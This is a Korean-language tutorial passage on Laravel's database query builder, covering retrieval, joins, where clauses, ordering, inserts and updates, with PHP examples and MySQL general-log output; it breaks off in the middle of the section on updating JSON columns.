<p>라라벨의 데이터베이스 쿼리 빌더는 데이터베이스 쿼리를 생성하고 실행하기 위해 편리한 인터페이스를 제공합니다. 애플리케이션에서 대부분의 데이터베이스 작업을 수행하는데 사용할 수 있으며, 지원되는 모든 데이터베이스 시스템에서 작동합니다.<br>
<br>라라벨 쿼리 빌더는 &quot;<strong>PDO</strong>&quot; 매개 변수 바인딩을 사용하여 <strong>SQL Injection</strong>으로 부터 애플리케이션을 보호합니다. 바인딩으로 전달되는 문자열을 따로 정리할 필요는 없습니다.</p>
<p><br><br><br></p>
<h3 id="retrievingresults">Retrieving Results - 결과 조회하기</h3>
<hr>
<h4 id="">테이블 모든 행 조회</h4>
<p>쿼리를 시작하기 위해 &quot;<strong>DB</strong>&quot; 파사드에서 &quot;<strong>table</strong>&quot; 메소드를 사용할 수 있습니다. &quot;<strong>table</strong>&quot; 메소드는 주어진 테이블에 대한 쿼리 빌더 인스턴스를 반환하므로, 쿼리에 더 많은 제약 조건을 연결한 다음 마지막으로 &quot;<strong>get</strong>&quot; 메소드를 사용하여 결과를 가져올 수 있습니다.</p>
<br>
<pre><code class="language-php">&lt;?php

namespace App\Http\Controllers;

use Illuminate\Support\Facades\DB;
use App\Http\Controllers\Controller;

class UserController extends Controller
{
    /**
     * Show a list of all of the application's users.
     *
     * @return Response
     */
    public function index()
    {
        /* Table users 모든행 가져오기 =&gt; SELECT * FROM users */
        $users = DB::table('users')-&gt;get();

        return view('user.index', ['users' =&gt; $users]);
    }
}
</code></pre>
<br>
<p>&quot;<strong>get</strong>&quot; 메소드는 각 결과가 PHP &quot;<strong>StdClass</strong>&quot; 객체의 인스턴스인 결과를 포함하는 &quot;I<strong>lluminate\Support\Collection</strong>&quot;을 반환합니다. 객체의 속성으로 컬럼에 액세스하여 각 컬럼의 값에 액세스할 수 있습니다.</p>
<br>
<pre><code class="language-php">foreach ($users as $user) {
    /* users 테이블의 &quot;name&quot; 컬럼의 값에 접근 */
    echo $user-&gt;name;
}
</code></pre>
<p><br><br></p>
<h3 id="">테이블에서 단일 행(결과) / 컬럼 검색</h3>
<hr>
<p>데이터베이스 테이블에서 단일 행 결과를 가져오려면 &quot;<strong>first</strong>&quot; 메소드를 사용할 수 있습니다. 해당 메소드는 단일 &quot;<strong>StdClass</strong>&quot; 개체를 반환합니다.</p>
<br>
<pre><code class="language-php">/* SELECT * FROM users WHERE name = &quot;John&quot; limit 0,1  */
$user = DB::table('users')-&gt;where('name', 'John')-&gt;first();

echo $user-&gt;name;
</code></pre>
<br>
<p>아래는 위 SQL 쿼리에 실행에 대한 General Log 입니다.</p>
<br>
<pre><code class="language-sql">2020-08-11T16:01:28.431755Z         5 Prepare   select * from `users` where `name` = ? limit 1
2020-08-11T16:01:28.431927Z         5 Execute   select * from `users` where `name` = 'dongdonge' limit 1
</code></pre>
<br>
<p>또한 전체 행이 필요하지 않은 경우 &quot;<strong>value</strong>&quot; 메소드를 사용하여 레코드에서 단일 값을 출력할 수 있습니다. 해당 메소드는 컬럼 값을 직접 반환합니다.</p>
<br>
<pre><code class="language-php">$email = DB::table('users')-&gt;where('name', 'John')-&gt;value('email');
</code></pre>
<br>
<p>아래는 위 SQL 쿼리에 실행에 대한 General Log 입니다.</p>
<br>
<pre><code class="language-sql">2020-08-11T16:08:09.885615Z         5 Prepare   select `email` from `users` where `name` = ? limit 1
2020-08-11T16:08:09.885814Z         5 Execute   select `email` from `users` where `name` = 'dongdonge' limit 1
2020-08-11T16:08:09.886155Z         5 Close stmt
</code></pre>
<p><br><br></p>
<h3 id="">컬럼값 리스트 검색</h3>
<hr>
<p>단일 컬럼값을 포함하는 컬렉션을 검색하려면 &quot;<strong>pluck</strong>&quot; 메소드를 사용할 수 있습니다. 아래 예제에서 &quot;<strong>roles</strong>&quot; 테이블의 &quot;<strong>title</strong>&quot; 컬렉션을 검색합니다.  <br><br></p>
<pre><code class="language-php">$titles = DB::table('roles')-&gt;pluck('title');

foreach ($titles as $title) {
    echo $title;
}
</code></pre>
<br>
<p>아래는 위 SQL 쿼리에 실행에 대한 General Log 입니다.</p>
<br>
<pre><code class="language-sql">2020-08-12T02:54:19.929864Z         8 Prepare   select `title` from `roles`
2020-08-12T02:54:19.930199Z         8 Execute   select `title` from `roles`
2020-08-12T02:54:19.930546Z         8 Close stmt
</code></pre>
<br>
<p>아래는 PHP artisan(아티즌)을 통하여 해당 결과값을 확인하였습니다.</p>
<br>
<pre><code class="language-php">**&gt;&gt;&gt; DB::table('roles')-&gt;pluck('title');
=&gt; Illuminate\Support\Collection {#706
     all: [
       &quot;Big_Title&quot;,
       &quot;test123&quot;,
     ],
   }**
</code></pre>
<br>
<p>또한 반환된 컬렉션에 대해 사용자 지정 키 컬럼(열)을 지정할 수 있습니다. <br></p>
<pre><code class="language-php">$roles = DB::table('roles')-&gt;pluck('title', 'name');

foreach ($roles as $name =&gt; $title) {
    echo $title;
}
</code></pre>
<br>
<p>아래는 위 SQL 쿼리에 대한 General Log 입니다 <br></p>
<pre><code class="language-sql">2020-08-12T04:51:28.263119Z        8 Prepare   select `title`, `name` from `roles`
2020-08-12T04:51:28.263336Z        8 Execute   select `title`, `name` from `roles`
2020-08-12T04:51:28.263454Z          8 Close stmt
</code></pre>
<p><br><br></p>
<h3 id="chunkingresults">Chunking Results - 결과 분할</h3>
<hr>
<p>수천 개의 데이터베이스 레코드로 작업해야하는 경우 &quot;<strong>chunk</strong>&quot; 메소드를 사용하면 됩니다. 해당 메소드는 한 번에 결과의 작은 &quot;<strong>chunk</strong>&quot;를 검색하고 각 chunk를 &quot;<strong>Closure</strong>&quot;에 처리합니다. 해당 방법은 수천 개의 데코드를 처리하는 &quot;<strong>Artisan</strong>&quot; 명령어를 작성할 때 유용합니다.<br>
예를 들어, &quot;<strong>users</strong>&quot; 테이블을 한 번에 100개의 레코드 chunk로 작업해 보겠습니다.</p>
<br>
<pre><code class="language-php">DB::table('users')-&gt;orderBy('id')-&gt;chunk(100, function ($users) {
    foreach ($users as $user) {
        //
    }
});
</code></pre>
<br>
<p>&quot;<strong>Closure</strong>&quot;에서 &quot;<strong>false</strong>&quot;를 반환하여 추가 chunks를 중지할 수 있습니다. <br></p>
<pre><code class="language-php">DB::table('users')-&gt;orderBy('id')-&gt;chunk(100, function ($users) {
    // Process the records...

    return false;
});
</code></pre>
<p><br><br></p>
<h3 id="aggregates">Aggregates - 집계 함수</h3>
<hr>
<p>쿼리 빌더는 &quot;<strong>count</strong>&quot;, &quot;<strong>max</strong>&quot;, &quot;<strong>min</strong>&quot;, &quot;<strong>avg</strong>&quot;, &quot;<strong>sum</strong>&quot;과 같은 다양한 집계 메소드를 제공합니다. 쿼리는 생성한 후 다음 메소드중 하나를 호출하여 사용하시면 됩니다. <br></p>
<pre><code class="language-php">$users = DB::table('users')-&gt;count();

$price = DB::table('orders')-&gt;max('price');
</code></pre>
<p><br>또는 아래와 같이 메소드를 다른 구문과 결합하여 사용할 수 있습니다. <br></p>
<pre><code class="language-php">$price = DB::table('orders')
                -&gt;where('finalized', 1)
                -&gt;avg('price');
</code></pre>
<p><br><br><br></p>
<h3 id="selects">Selects - 조회</h3>
<hr>
<h4 id="select">Select 구문 지정</h4>
<p>물론, 데이터베이스 테이블에서 모든 컬럼(열)을 항상 선택할 수 있는 것은 아닙니다. &quot;<strong>select</strong>&quot; 메소드를 사용하여 쿼리에 대한 사용자 지정 &quot;<strong>select</strong>&quot; 구문을 사용할 수 있습니다. <br><br></p>
<pre><code class="language-php">$users = DB::table('users')-&gt;select('name', 'email as user_email')-&gt;get();
</code></pre>
<p><br>&quot;<strong>distinct</strong>&quot; 메소드를 사용하여 쿼리가 고유한 결과를 반환할 수 있도록 할 수 있습니다.<br></p>
<pre><code class="language-php">$users = DB::table('users')-&gt;distinct()-&gt;get();
</code></pre>
<p><br>이미 쿼리 빌더 인스턴스가 있고 기존 &quot;<strong>select</strong>&quot; 구문에 컬럼(열)을 추가하려는 경우 &quot;<strong>addSelect</strong>&quot; 메소드를 사용할 수 있습니다. <br><br></p>
<pre><code class="language-php">$query = DB::table('users')-&gt;select('name');

$users = $query-&gt;addSelect('age')-&gt;get();
</code></pre>
<p><br><br></p>
<h3 id="rawexpressionsraw">Raw Expressions - Raw 표현하기</h3>
<hr>
<p>때로는 쿼리에서 Raw 표현식을 사용해야 할 때가 있습니다. 이러한 구문의 쿼리는 문자열로 주입되므로 SQL Injection이 되지 않도록 조심해야 합니다. Raw Expression을 만들려면 &quot;<strong>DB::raw</strong>&quot; 메소드를 사용할 수 있습니다. <br><br></p>
<pre><code class="language-php">$users = DB::table('users')
                     -&gt;select(DB::raw('count(*) as user_count, status'))
                     -&gt;where('status', '&lt;&gt;', 1)
                     -&gt;groupBy('status')
                     -&gt;get();
</code></pre>
<p><br><br></p>
<h3 id="joins">Joins - 조인</h3>
<hr>
<h4 id="innerjoinclause">Inner Join Clause - 내부 조인 구문</h4>
<p>쿼리 빌더를 사용하여 &quot;<strong>join</strong>&quot; 구문을 작성할 수 있습니다. 기본 &quot;<strong>inner join(내부 조인)</strong>&quot;을 수행하려면 쿼리 빌더 인스턴스에 &quot;<strong>join</strong>&quot; 메소드를 사용할 수 있습니다. 조인 메소드에 전달된 첫 번째 인수는 조인해야 하는 테이블의 이름이고 나머지 인자는 조인에 대한 컬럼(열) 조건을 지정합니다. 물론 단일 쿼리로 여러 테이블에 조인할 수 있습니다. <br><br></p>
<pre><code class="language-php">$users = DB::table('users')
            -&gt;join('contacts', 'users.id', '=', 'contacts.user_id')
            -&gt;join('orders', 'users.id', '=', 'orders.user_id')
            -&gt;select('users.*', 'contacts.phone', 'orders.price')
            -&gt;get();
</code></pre>
<p><br><br></p>
<h3 id="leftjoinclauseleft">Left Join Clause - Left 조인 구문</h3>
<hr>
<p>&quot;<strong>inner join(내부조인)</strong>&quot; 대신 &quot;<strong>left join(왼쪽 조인)</strong>&quot;을 수행하려면 &quot;<strong>leftJoin</strong>&quot; 메소드를 사용해야합니다. &quot;<strong>leftJoin</strong>&quot; 메소드는 &quot;<strong>join</strong>&quot; 메소드와 동일한 시그니처를 갖습니다. <br><br></p>
<pre><code class="language-php">$users = DB::table('users')
            -&gt;leftJoin('posts', 'users.id', '=', 'posts.user_id')
            -&gt;get();
</code></pre>
<p><br><br></p>
<h3 id="crossjoinclausecross">Cross Join Clause - Cross 조인 구문</h3>
<hr>
<p>&quot;<strong>cross join(교차 조인)</strong>&quot;을 수행하려면 교차 결합하려는 테이블의 이름과 함께 &quot;<strong>cross join</strong>&quot; 메소드를 사용하면 됩니다. &quot;<strong>Cross joins</strong>&quot;는 첫 번째 테이블과 조인된 테이블 사이 cartesian product을 생성합니다. <br><br></p>
<pre><code class="language-php">$users = DB::table('sizes')
            -&gt;crossJoin('colours')
            -&gt;get();
</code></pre>
<p><br><br></p>
<h3 id="advancedjoinclauses">Advanced Join Clauses - 고급 조인 구문</h3>
<hr>
<p>고급 조인 구문을 지정하여 사용할 수 있습니다. 사용하려면 &quot;<strong>join</strong>&quot; 메소드에서 두 번째 인수로 &quot;<strong>Closure</strong>&quot;를 전달하면 됩니다. &quot;<strong>Closure</strong>&quot;는 &quot;<strong>join</strong>&quot; 구문에 제약 조건을 지정할 수 있는 &quot;<strong>JoinClause</strong>&quot; 개체를 받습니다. <br><br></p>
<pre><code class="language-php">DB::table('users')
        -&gt;join('contacts', function ($join) {
            $join-&gt;on('users.id', '=', 'contacts.user_id')-&gt;orOn(...);
        })
        -&gt;get();
</code></pre>
<p><br>조인에 &quot;<strong>where</strong>&quot; 스타일 구문을 사용하려면 join에 &quot;<strong>where</strong>&quot; 및 &quot;<strong>orWhere</strong>&quot; 메소드를 사용할 수 있습니다. 두 컬럼을 비교하는 대신 이러한 메소드는 컬럼을 값과 비교합니다. <br><br></p>
<pre><code class="language-php">DB::table('users')
        -&gt;join('contacts', function ($join) {
            $join-&gt;on('users.id', '=', 'contacts.user_id')
                 -&gt;where('contacts.user_id', '&gt;', 5);
        })
        -&gt;get();
</code></pre>
<p><br><br></p>
<h3 id="unions">Unions</h3>
<hr>
<p>또한 쿼리 빌더는 두 쿼리를 합계 &quot;<strong>union(결합)</strong>&quot;하는 빠른 방법을 제공합니다. 예를 들어, 초기 쿼리를 생성하고 union 메소드를 사용하여 두 번째 쿼리와 &quot;<strong>union</strong>&quot; 할 수 있습니다. <br><br></p>
<pre><code class="language-php">$first = DB::table('users')
            -&gt;whereNull('first_name');

$users = DB::table('users')
            -&gt;whereNull('last_name')
            -&gt;union($first)
            -&gt;get();
</code></pre>
<p><br>&quot;<strong>unionAll</strong>&quot; 메소드도 사용할 수 있으며, &quot;<strong>union</strong>&quot;과 동일한 메소드 시그니처입니다.</p>
<p><br><br></p>
<h3 id="whereclauseswhere">Where Clauses - Where 구문</h3>
<hr>
<h4 id="simplewhereclauseswhere">Simple Where Clauses - 간단한 where 구문</h4>
<p>쿼리 빌더 인스턴스에서 &quot;<strong>where</strong>&quot; 메소드를 사용하여 쿼리에 &quot;<strong>where</strong>&quot; 구문을 추가할 수 있습니다. 가장 기본적인 호출에는 3가지 인자가 필요합니다. 첫 번째 인자는 컬럼명이며, 두 번째 인자는 데이터베이스의 지원되는 모든 연산자가 될 수 있는 연산자이며, 마지막으로 세 번째 인자는 컬럼에 대한 비교 값입니다. <br><br>
예를 들어, 아래 에제는 &quot;<strong>votes</strong>&quot; 컬럼의 값이 &quot;<strong>100</strong>&quot; 인지 확인하는 쿼리입니다. <br><br></p>
<pre><code class="language-php">$users = DB::table('users')-&gt;where('votes', '=', 100)-&gt;get();
</code></pre>
<p><br>편리하게 사용하기 위해 단순히 컬럼이 주어진 값과 같은지 확인하려는 경우 값을 두 번째 인자로 &quot;<strong>where</strong>&quot; 메소드에 직접 전달할 수 있습니다. <br><br></p>
<pre><code class="language-php">$users = DB::table('users')-&gt;where('votes', 100)-&gt;get();
</code></pre>
<p><br>물론 &quot;<strong>where</strong>&quot; 구문을 사용할 때 다양한 다른 연산자를 사용할 수 있습니다. <br><br></p>
<pre><code class="language-php">$users = DB::table('users')
                -&gt;where('votes', '&gt;=', 100)
                -&gt;get();

$users = DB::table('users')
                -&gt;where('votes', '&lt;&gt;', 100)
                -&gt;get();

$users = DB::table('users')
                -&gt;where('name', 'like', 'T%')
                -&gt;get();
</code></pre>
<p><br>&quot;<strong>where</strong>&quot; 메소드에 조건을 배열로 전달할 수 있습니다. <br><br></p>
<pre><code class="language-php">$users = DB::table('users')-&gt;where([
    ['status', '=', '1'],
    ['subscribed', '&lt;&gt;', '1'],
])-&gt;get();
</code></pre>
<p><br><br></p>
<h3 id="orstatementsor">Or Statements - Or 구문</h3>
<hr>
<p>&quot;<strong>where</strong>&quot; 조건을 함께 연결하고 &quot;<strong>or</strong>&quot; 구문을 쿼리에 추가할 수 있습니다. &quot;<strong>orWhere</strong>&quot; 메소드는 &quot;<strong>where</strong>&quot; 메소드와 동일한 인자를 받습니다. <br><br></p>
<pre><code class="language-php">$users = DB::table('users')
                    -&gt;where('votes', '&gt;', 100)
                    -&gt;orWhere('name', 'John')
                    -&gt;get();
</code></pre>
<p><br><br></p>
<h3 id="additionalwhereclauseswhere">Additional Where Clauses - 추가적인 where 구문</h3>
<hr>
<h4 id="wherebetween">whereBetween</h4>
<p>&quot;<strong>whereBetween</strong>&quot; 메소드는 컬럼의 값이 두 값 사이에 있는지 확인합니다. <br><br></p>
<pre><code class="language-php">$users = DB::table('users')
                    -&gt;whereBetween('votes', [1, 100])-&gt;get();
</code></pre>
<p><br><br></p>
<h4 id="wherenotbetween">whereNotBetween</h4>
<p>&quot;<strong>whereNotBetween</strong>&quot; 메소드는 컬럼의 값이 두 값 사이 밖에 있는지 확인합니다. <br><br></p>
<pre><code class="language-php">$users = DB::table('users')
                    -&gt;whereNotBetween('votes', [1, 100])
                    -&gt;get();
</code></pre>
<p><br><br></p>
<h4 id="whereinwherenotin">whereIn / whereNotIn</h4>
<p>&quot;<strong>whereIn</strong>&quot; 메소드는 주어진 컬럼의 값이 배열에 포함되어 있는지 확인합니다. <br><br></p>
<pre><code class="language-php">$users = DB::table('users')
                    -&gt;whereIn('id', [1, 2, 3])
                    -&gt;get();
</code></pre>
<p><br>&quot;whereNotIn&quot; 메소드는 주어진 컬럼의 값이 배열에 포함되어 있지 않는지 확인합니다. <br><br></p>
<pre><code class="language-php">$users = DB::table('users')
                    -&gt;whereNotIn('id', [1, 2, 3])
                    -&gt;get();
</code></pre>
<p><br><br></p>
<h4 id="wherenullwherenotnull">whereNull / whereNotNull</h4>
<p>&quot;<strong>whereNull</strong>&quot; 메소드는 주어진 컬럼의 값이 &quot;<strong>NULL</strong>&quot;인지 확인합니다. <br><br></p>
<pre><code class="language-php">$users = DB::table('users')
                    -&gt;whereNull('updated_at')
                    -&gt;get();
</code></pre>
<p><br> &quot;<strong>whereNotNull</strong>&quot; 메소드는 컬럼의 값이 &quot;<strong>NULL</strong>&quot;이 아닌지 확인합니다. <br><br></p>
<pre><code class="language-php">$users = DB::table('users')
                    -&gt;whereNotNull('updated_at')
                    -&gt;get();
</code></pre>
<p><br><br></p>
<h4 id="wheredatewheremonthwheredaywhereyear">whereDate / whereMonth / whereDay / whereYear</h4>
<p>&quot;<strong>whereDate</strong>&quot; 메소드를 사용하여 컬럼의 값을 날짜와 비교할 수 있습니다. <br><br></p>
<pre><code class="language-php">$users = DB::table('users')
                -&gt;whereDate('created_at', '2016-12-31')
                -&gt;get();
</code></pre>
<p><br>&quot;<strong>whereMonth</strong>&quot; 메소드를 사용하여 특정 연도의 특정 월과 컬럼값을 비교할 수 있습니다. <br><br></p>
<pre><code class="language-php">$users = DB::table('users')
                -&gt;whereMonth('created_at', '12')
                -&gt;get();
</code></pre>
<p><br><br>&quot;<strong>whereDay</strong>&quot; 메소드를 사용하여 특정 날짜와 컬럼의 값을 비교할 수 있습니다.<br><br></p>
<pre><code class="language-php">$users = DB::table('users')
                -&gt;whereDay('created_at', '31')
                -&gt;get();
</code></pre>
<p><br><br>&quot;<strong>whereYear</strong>&quot; 메소드는 특정 연도와 컬럼의 값을 비교하는데 사용할 수 있습니다.<br><br></p>
<pre><code class="language-php">$users = DB::table('users')
                -&gt;whereYear('created_at', '2016')
                -&gt;get();
</code></pre>
<p><br><br></p>
<h4 id="wherecolumn">whereColumn</h4>
<p>&quot;<strong>wehreColumn</strong>&quot; 메소드를 사용하여 두 컬럼이 같은지 확인할 수 있습니다.<br><br></p>
<pre><code class="language-php">$users = DB::table('users')
                -&gt;whereColumn('first_name', 'last_name')
                -&gt;get();
</code></pre>
<p><br>메소드에 비교 연션자를 추가할 수 있습니다. <br><br></p>
<pre><code class="language-php">$users = DB::table('users')
                -&gt;whereColumn('updated_at', '&gt;', 'created_at')
                -&gt;get();
</code></pre>
<p><br>&quot;<strong>whereColumn</strong>&quot; 메소드는 여러 조건의 배열을 전달할 수 있습니다. 이러한 조건은 &quot;<strong>and</strong>&quot; 연산자를 사용하여 연결됩니다. <br><br></p>
<pre><code class="language-php">$users = DB::table('users')
                -&gt;whereColumn([
                    ['first_name', '=', 'last_name'],
                    ['updated_at', '&gt;', 'created_at']
                ])-&gt;get();
</code></pre>
<p><br><br></p>
<h3 id="parametergrouping">Parameter Grouping - 파라미터 그룹화</h3>
<hr>
<p>경우에 따라 &quot;<strong>where exists</strong>&quot; 구문이나 중첩된 매개변수 그룹과 같은 고급 &quot;<strong>where</strong>&quot; 구문을 만들 수 있습니다. 라라벨 쿼리빌더는 이것도 처리할 수 있으며 시작하려면 괄호 안의 그룹 제약 조건의 예제를 살펴 보겠습니다. <br><br></p>
<pre><code class="language-php">DB::table('users')
            -&gt;where('name', '=', 'John')
            -&gt;orWhere(function ($query) {
                $query-&gt;where('votes', '&gt;', 100)
                      -&gt;where('title', '&lt;&gt;', 'Admin');
            })
            -&gt;get();
</code></pre>
<p><br>위 예제를 보시면 &quot;<strong>Closure</strong>&quot;를 &quot;<strong>orWhere</strong>&quot; 메소드에 전달하면 쿼리 빌더가 제약 그룹을 시작하도록 지시합니다. &quot;<strong>Closure</strong>&quot;는 괄호 그룹에 포함되어야 하는 제약 조건을 설정하는데 사용할 수 있는 쿼리 빌더 인스턴스를 받습니다. 위의 예제는 다음 SQL을 생성합니다. <br><br></p>
<pre><code class="language-sql">select * from users where name = 'John' or (votes &gt; 100 and title &lt;&gt; 'Admin')
</code></pre>
<p><br><br></p>
<h3 id="whereexistsclauseswhere">Where Exists Clauses - Where 조항 존재확인</h3>
<hr>
<p>&quot;<strong>whereExists</strong>&quot; 메소드를 사용하면 &quot;<strong>where Exists</strong>&quot; SQL 구문을 작성할 수 있습니다. &quot;<strong>whereExists</strong>&quot; 메소드는 &quot;<strong>Closure</strong>&quot; 인자를 받습니다. 해당 인수는 &quot;<strong>exists</strong>&quot; 구문내에 배치되어야 하는 쿼리를 정의할 수 있는 쿼리 빌더 인스턴스를 받습니다. <br><br></p>
<pre><code class="language-php">DB::table('users')
            -&gt;whereExists(function ($query) {
                $query-&gt;select(DB::raw(1))
                      -&gt;from('orders')
                      -&gt;whereRaw('orders.user_id = users.id');
            })
            -&gt;get();
</code></pre>
<p><br>다음 쿼리는 SQL을 생성합니다. <br></p>
<pre><code class="language-sql">select * from users
where exists (
    select 1 from orders where orders.user_id = users.id
)
</code></pre>
<p><br><br></p>
<h3 id="jsonwhereclausesjsonwhere">JSON Where Clauses - JSON Where 조항</h3>
<hr>
<p>라라벨은 또한 JSON 컬럼 유형에 대한 지원을 데이터베이스에서 JSON 컬럼 유형 쿼리를 지원합니다. 현재 여기에는 &quot;<strong>MySQL 5.7</strong>&quot; 및 &quot;<strong>Postgres</strong>&quot;가 포함됩니다. &quot;<strong>JSON</strong>&quot; 컬럼을 쿼리하려면 &quot;<strong>-&gt;</strong>&quot; 연산자를 사용해야 합니다. <br><br></p>
<pre><code class="language-php">$users = DB::table('users')
                -&gt;where('options-&gt;language', 'en')
                -&gt;get();

$users = DB::table('users')
                -&gt;where('preferences-&gt;dining-&gt;meal', 'salad')
                -&gt;get();
</code></pre>
<p><br><br></p>
<h3 id="orderinggroupinglimitoffset">Ordering, Grouping, Limit, &amp; Offset</h3>
<hr>
<h4 id="orderby">orderBy</h4>
<p>&quot;<strong>orderBy</strong>&quot; 메소드를 사용하면 주어진 컬럼을 기준으로 쿼리 결과를 정렬할 수 있습니다. &quot;<strong>orderBy</strong>&quot; 메소드의 첫 번째 인자는 정렬 기준이되는 컬럼이어 하고, 두 번째 인자는 &quot;<strong>asc</strong>&quot; 또는 &quot;<strong>desc</strong>&quot;로 정렬 방향을 제어합니다. <br><br></p>
<pre><code class="language-php">$users = DB::table('users')
                -&gt;orderBy('name', 'desc')
                -&gt;get();
</code></pre>
<br>
<h4 id="latestoldest">latest / oldest</h4>
<p>&quot;<strong>latest</strong>&quot; 및 &quot;<strong>oldest</strong>&quot; 메소드를 사용하면 날짜별로 결과를 쉽게 정렬할 수 있습니다. 기본적으로 결과는 &quot;<strong>created_at</strong>&quot; 컬럼을 기준으로 정렬됩니다. 또는 정렬하려는 컬럼 이름을 전달할 수 있습니다. <br><br></p>
<pre><code class="language-php">$user = DB::table('users')
                -&gt;latest()
                -&gt;first();
</code></pre>
<br>
<h4 id="inrandomorder">inRandomOrder</h4>
<p>&quot;<strong>inRandomOrder</strong>&quot; 메소드는 쿼리 결과를 무작위로 정렬하는데 사용할 수 있습니다. 예를 들어 해당 메소드를 사용하여 임의의 사용자를 가져올 수 있습니다. <br><br></p>
<pre><code class="language-php">$randomUser = DB::table('users')
                -&gt;inRandomOrder()
                -&gt;first();
</code></pre>
<br>
<h4 id="groupbyhavinghavingraw">groupBy / having / havingRaw</h4>
<p>&quot;<strong>groupBy</strong>&quot; 및 &quot;<strong>having</strong>&quot; 메소드를 사용하여 쿼리 결과를 그룹화할 수 있습니다. &quot;<strong>having</strong>&quot; 메소드의 시그니처는 &quot;<strong>where</strong>&quot; 메소드의 비슷합니다. <br><br></p>
<pre><code class="language-php">$users = DB::table('users')
                -&gt;groupBy('account_id')
                -&gt;having('account_id', '&gt;', 100)
                -&gt;get();
</code></pre>
<p><br>&quot;<strong>havingRaw</strong>&quot; 메소드는 &quot;<strong>having</strong>&quot; 구문의 값으로 raw 문자열을 설정할 수 있습니다. 예를 들어, 매출 금액이 &quot;<strong>$2,500</strong>&quot; 달러 이상인 모든 부서를 찾을 수 있습니다. <br><br></p>
<pre><code class="language-php">$users = DB::table('orders')
                -&gt;select('department', DB::raw('SUM(price) as total_sales'))
                -&gt;groupBy('department')
                -&gt;havingRaw('SUM(price) &gt; 2500')
                -&gt;get();
</code></pre>
<br>
<h4 id="skiptake">skip / take</h4>
<p>쿼리에서 반환되는 결과 수를 제한하거나 쿼리에서 주어진 결과 수를 건너 뛰려면 &quot;<strong>skip</strong>&quot; 및 &quot;<strong>take</strong>&quot; 메소드를 사용할 수 있습니다. <br><br></p>
<pre><code class="language-php">$users = DB::table('users')-&gt;skip(10)-&gt;take(5)-&gt;get();
</code></pre>
<p><br>또는 &quot;<strong>limit</strong>&quot; 및 &quot;<strong>offset</strong>&quot; 메소드를 사용할 수 있습니다. <br><br></p>
<pre><code class="language-php">$users = DB::table('users')
                -&gt;offset(10)
                -&gt;limit(5)
                -&gt;get();
</code></pre>
<p><br><br></p>
<h3 id="conditionalclauses">Conditional Clauses - 조건 조항</h3>
<hr>
<p>때로는 다른 것이 참일 때만 쿼리에 &quot;<strong>when</strong>&quot; 쿼리에 적용할 수 있습니다. 예를 들어 주어진 입력 값이 들어오는 요청에 있는 경우에만 &quot;<strong>where</strong>&quot; 구문을 적용할 수 있습니다. &quot;<strong>when</strong>&quot; 메소드를 사용하여 이를 수행할 수 있습니다. <br><br></p>
<pre><code class="language-php">$role = $request-&gt;input('role');

$users = DB::table('users')
                -&gt;when($role, function ($query) use ($role) {
                    return $query-&gt;where('role_id', $role);
                })
                -&gt;get();
</code></pre>
<p><br>&quot;<strong>when</strong>&quot; 메소드는 첫 번째 매개변수가 &quot;<strong>true</strong>&quot;일 때 지정된 &quot;<strong>Closure(클로저)</strong>&quot;만 실행합니다. 첫 번째 인자가 &quot;<strong>false</strong>&quot;이면 &quot;<strong>Closure</strong>&quot;가 실행되지 않습니다.<br>
<br>&quot;<strong>when</strong>&quot; 메소드에 세 번째 인자로 다른 &quot;<strong>Closure</strong>&quot;를 전달할 수 있습니다. 해당 클로저는 첫 번째 인자가 &quot;<strong>false</strong>&quot;로 평가되면 실행됩니다. 해당 기능을 사용하는 방법을 설명하기 위해 이 기능을 사용하여 쿼리의 기본 정렬을 구성할 수 있습니다. <br><br></p>
<pre><code class="language-php">$sortBy = null;

$users = DB::table('users')
                -&gt;when($sortBy, function ($query) use ($sortBy) {
                    return $query-&gt;orderBy($sortBy);
                }, function ($query) {
                    return $query-&gt;orderBy('name');
                })
                -&gt;get();
</code></pre>
<p><br><br></p>
<h3 id="inserts">Inserts</h3>
<hr>
<p>쿼리 빌더는 데이터베이스 테이블에 레코드를 삽입하기 위해 &quot;<strong>insert</strong>&quot; 메소드를 제공합니다. &quot;<strong>insert</strong>&quot; 메소드는 컬럼 이름과 값의 배열을 허용합니다. <br><br></p>
<pre><code class="language-php">DB::table('users')-&gt;insert(
    ['email' =&gt; 'john@example.com', 'votes' =&gt; 0]
);
</code></pre>
<p><br>한 번의 호출로 여러 개의 레코드를 테이블에 &quot;<strong>insert</strong>&quot; 하여 배열의 배열을 전달하여 삽입할 수 있습니다. 각 배열은 테이블에 삽입할 행을 나타냅니다. <br><br></p>
<pre><code class="language-php">DB::table('users')-&gt;insert([
    ['email' =&gt; 'taylor@example.com', 'votes' =&gt; 0],
    ['email' =&gt; 'dayle@example.com', 'votes' =&gt; 0]
]);
</code></pre>
<p><br><br></p>
<h3 id="autoincrementingids">Auto-Incrementing IDs</h3>
<hr>
<p>테이블에 &quot;<strong>Auto incrementing(자동 증가)</strong>&quot; ID가 있는 경우 &quot;<strong>insertGetId</strong>&quot; 메소드를 사용하여 레코드를 삽입한 다음 ID를 검색합니다. <br><br></p>
<pre><code class="language-php">$id = DB::table('users')-&gt;insertGetId(
    ['email' =&gt; 'john@example.com', 'votes' =&gt; 0]
);
</code></pre>
<p><br>&quot;<strong>PostgreSQL</strong>&quot;을 사용할 때 &quot;<strong>insertGetId</strong>&quot; 메소드를 &quot;<strong>auto incrementing</strong>&quot; 컬럼의 이름이 &quot;<strong>id</strong>&quot;가 될 것으로 예상됩니다. 다른 &quot;<strong>sequence</strong>&quot;에서 ID를 검색하려면 시퀸스 이름을 두 번째 인자로 &quot;<strong>insertGetId</strong>&quot; 메소드에 전달할 수 있습니다.</p>
<p><br><br></p>
<h3 id="updates">Updates</h3>
<hr>
<p>물론 데이터베이스에 레코드를 삽입하는 것 외에도 쿼리 빌더 &quot;<strong>update</strong>&quot; 메소드를 사용하여 기존 레코드를 업데이트할 수 있습니다. &quot;<strong>insert</strong>&quot; 메소드와 마찬가지로 &quot;<strong>update</strong>&quot; 메소드는 업데이트할 컬럼을 포함하는 컬럼 및 깞 쌍의 배열을 받습니다. &quot;<strong>where</strong>&quot; 절을 사용하여 &quot;<strong>update</strong>&quot; 쿼리를 제한할 수 있습니다. <br><br></p>
<pre><code class="language-php">DB::table('users')
            -&gt;where('id', 1)
            -&gt;update(['votes' =&gt; 1]);
</code></pre>
<p><br><br></p>
<h3 id="updatingjsoncolumns">Updating JSON Columns</h3>
<hr>
<p>JSON 컬럼을 업데이트할 때 &quot;<strong>-&gt;</strong>&quot; 구문을 사용하여 JSON 개체의 적절한 키에 액세스할 수 있습니다. 해당 작업은 JSON 컬럼을 지원하는 데이터베이스에서만 사용가능합니다. <br><br></p>
<pre><code class="language-php">DB::table('users')
